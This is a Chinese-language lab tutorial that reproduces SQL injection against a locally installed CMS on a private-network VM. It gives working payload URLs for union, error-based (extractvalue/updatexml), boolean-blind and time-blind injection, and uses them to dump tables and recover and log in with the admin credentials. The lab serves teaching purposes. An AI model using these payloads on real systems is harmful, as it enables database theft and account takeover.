漏洞說明:
SQL注入就是通過把SQL命令插入到Web表單提交或輸入域名或頁面請求的查詢字符串,最終達到欺騙服務器執行惡意的SQL命令。
利用此漏洞能夠看到數據庫所有表數據,如用戶數據表可獲取用戶名、密碼、郵箱等數據,進而通過獲取到的郵箱與密碼,可碰撞登陸郵箱獲取交流郵件等。
環境說明
相關工具
復現過程:
第一步:搭建實驗環境。
1、準備一臺windows2008虛擬機,並將其設置為橋接狀態,並查看ip地址。
我所實驗的內網網段為10.10.20.0/24
2、將我們的xampp工具複製到08虛擬機中,並且雙擊安裝。
安裝過程一直點擊next即可,具體操作可以查看視頻步驟,安裝完成後點擊finish。
語言直接點save即可。
3、出現如下界面,需要做點優化。
點擊最左側service下方的前兩個X號,出現提示,點擊yes,之後圖標修改為√號。
之後點擊中間的Actions那一列下的Apache和MySQL按鈕,啟動服務,然後關閉。
4、用真實機的瀏覽器,訪問2008虛擬機的ip地址,出現以下界面,則說明xampp安裝成功,並且已經開啟了apache服務
打開windows2008虛擬機的C盤,將多餘的文件刪除即可。
然後進入到xampp文件夾,找到htdocs文件夾點擊進入,在裡面新建一個文件夾取名為bak,並且將htdocs原有的文件拖到bak文件夾中。
在真實機中的瀏覽器中刷新頁面,出現Object not found!將/dashboard/去掉,便在根目錄下有一個bak的文件夾
5、打開C盤根目錄下的xampp文件夾,找到名為mysql的文件夾,進入文件夾後,有一個名為bin的文件夾,雙擊進入,將文件的後綴名顯示出來可以看到都是.exe的文件
將此文件夾所在的路徑複製下來即:C:\\\\xampp\\mysql\\bin
6、修改環境變量,使mysql命令可以在cmd的命令中運行。
具體操作為:
右鍵計算機à屬性à高級系統設置à環境變量à找到下方的系統變量Pathà選定後,點擊編輯à點擊右箭頭,在最後添加;+剛才複製的路徑。如:(; C:\\\\xampp\\mysql\\bin)
修改完環境變量後,重啟cmd命令,之後輸入mysql -uroot。如果出現如下界面,說明環境變量修改成功。就可以輸入數據庫的命令使用。
7、將準備好的cms壓縮包,複製到windows2008的C盤下的htdocs目錄下。
先將壓縮包中的第一個文件夾複製過去,然後打開cms文件夾,再將剩下的兩個文件複製到cms文件夾下。
8、將install.sql導入到數據庫中。
show databases; 查看都有哪些數據庫
create database cms; 創建一個名為cms的數據庫
use cms; 使用cms數據庫
source C:\\\\\\xampp\\\\htdocs\\\\cms\\\\install.sql; 將install.sql文件導入到數據庫
show tables; 查看cms數據庫中的表名
此時,我們刷新真實機的瀏覽器的頁面,在bak文件夾下面有個cms文件夾,雙擊打開看到一個文章管理系統界面,說明我們的實驗環境搭建完成了。
第二步:用SQL注入的4中注入手法進行漏洞驗證,最終目的能獲取管理員的賬號密碼,並且能成功登陸管理員後臺。
1、 聯合查詢
http://10.10.20.60/cms/show.php?id=33’ 出現報錯
http://10.10.20.60/cms/show.php?id=33 and 1=1 頁面正常顯示
http://10.10.20.60/cms/show.php?id=33 and 1=2 頁面不正常顯示
說明該網站存在SQL注入漏洞。
http://10.10.20.60/cms/show.php?id=33 order by 15 頁面正常顯示
http://10.10.20.60/cms/show.php?id=33 order by 16 頁面報錯
http://10.10.20.60/cms/show.php?id=-33 +UNION+ALL+SELECT+ 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15
發現頁面有回顯:3和11
http://10.10.20.60/cms/show.php?id=-33 +UNION+ALL+SELECT+ 1,2,database(),4,5,6,7,8,9,10,version(),12,13,14,15 爆數據庫名和查看數據庫版本
http://10.10.20.60/cms/show.php?id=-33
+UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,hex(group_concat (table_name)),12,13,14,15 from information_schema.tables where table_schema=database() 爆數據庫中的所有表名,出現一段數字,複製下來進行解碼
新建一個窗口,中間位置有個0xHEX,點擊左邊的箭頭為解碼,將數字複製到解碼欄中。
然後,在空白界面出現解碼後的數據庫中的所有表名。
cms_article,cms_category,cms_file,cms_friendlink,cms_message,cms_notice,cms_page,cms_users
爆表名為cms_users中的所有字段名。
http://10.10.20.60/cms/show.php?id=-33 +UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,hex(group_concat(column_name)),12,13,14,15 from information_schema.columns where table_schema=database() and table_name='cms_users'
同樣出現一串數字,步驟和上一步一樣,進行復制解碼。
得到字段名:
userid,username,password
http://10.10.20.60/cms/show.php?id=-33 +UNION+ALL+SELECT+1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15 from cms_users 脫庫
到此,我們得到了用戶名為admin,密碼使用的為MD5加密值,我們百度搜索MD5在線解密即可。
至此,我們得到用戶名:admin,密碼:123456
嘗試登錄後臺管理賬戶,看是否能登錄成功
成功登錄到了後臺管理賬戶。
2、 報錯注入;
http://10.10.20.60/cms/show.php?id=33’
當我們添加一個’時,會有報錯提示,此時我們可以考慮報錯注入。
公式:(死記住就可)
(1) http://10.10.20.60/cms/show.php?id=-33 and extractvalue(1,concat('^',(想要執行的SQL語句),'^'))
(2) http://10.10.20.60/cms/show.php?id=-33 and updatexml(1,concat('^',(想要執行的SQL語句),'^'),1)
http://10.10.20.60/cms/show.php?id=-33 and extractvalue(1,concat('^',(select database()),'^'))
http://10.10.20.60/cms/show.php?id=-33 and extractvalue(1,concat('^',(select version()),'^'))
http://10.10.20.60/cms/show.php?id=-33 and updatexml(1,concat('^',(select version()),'^'),1)
http://10.10.20.60/cms/show.php?id=-33 and updatexml(1,concat('^',(select database()),'^'),1)
3、 布爾盲注;
通過SQL語句驗證數據庫的名字長度為幾位,多嘗試,最長26位
http://10.10.20.60/cms/show.php?id=33 and length(database())>3 頁面不正常顯示
http://10.10.20.60/cms/show.php?id=33 and length(database())=3 頁面正常顯示
http://10.10.20.60/cms/show.php?id=33 and length(database())<3 頁面不正常顯示
由此我們可以確定數據庫的名字位數位3位。
下面我們根據ascii碼錶,來爆破數據庫名的第一個單詞
http://10.10.20.60/cms/show.php?id=33 and ascii(substr(database(),1,1))<99 頁面不正常顯示
http://10.10.20.60/cms/show.php?id=33 and ascii(substr(database(),1,1))=99 頁面正常顯示
http://10.10.20.60/cms/show.php?id=33 and ascii(substr(database(),1,1))>99 頁面不正常顯示
等於99時,頁面正常,說明數據庫的第一字母的ascii碼值為99
通過查看ascii碼錶,可以看到99對應的為小寫字母c
依此類推,利用這種方法即可爆出數據庫名,但工作量較大,建議寫個python腳本跑一下,可以提高效率。
4、 時間盲注;
http://10.10.20.60/cms/show.php?id=33 and sleep(5)
使瀏覽器沉睡5s,在執行命令
可以看到上方瀏覽器在轉了5s之後,才執行完成,通過F12,網絡時間線可以看到為5s左右。
http://10.10.20.60/cms/show.php?id=33 and if(length(database())=3,sleep(5),0)
當數據庫的名字長度為3位時,瀏覽器沉睡5s在執行命令。
數據庫的名字長度不為3位數時,瀏覽器直接執行命令。
在確定了數據庫的名字位數後,下一步,我們和布爾盲注確定數據庫第一位字母的思路相同。
http://10.10.20.60/cms/show.php?id=33 and if(ord(substr(database(),1,1))=99,sleep(5),0)
(當數據庫的第一個字母的ascii碼值為99的時候,瀏覽器沉睡5s在執行命令;否則,瀏覽器將直接執行命令)
當數據庫第一個字母的ascii碼值不是99時,為以下情況:
由此,我們可以確定,數據庫名字的第一個字母的ascii碼值為99,通過上網查詢ascii碼對照表,我們知道了acsii碼為99的對應的為小寫字母c。
依此類推,我們用相同的辦法得到數據庫的第二位字母、第三位字母…
到此,我們對此網站進行的SQL注入四大手法的漏洞復現過程基本完成。
注:
以上實驗環境及實驗過程,在實現漏洞復現的過程中沒有發現任何問題,如依據本文檔內容進行復現過程中發現任何問題,請自行檢查自己的實驗環境及實驗步驟是否出現問題!!!
閱讀更多 id1188 的文章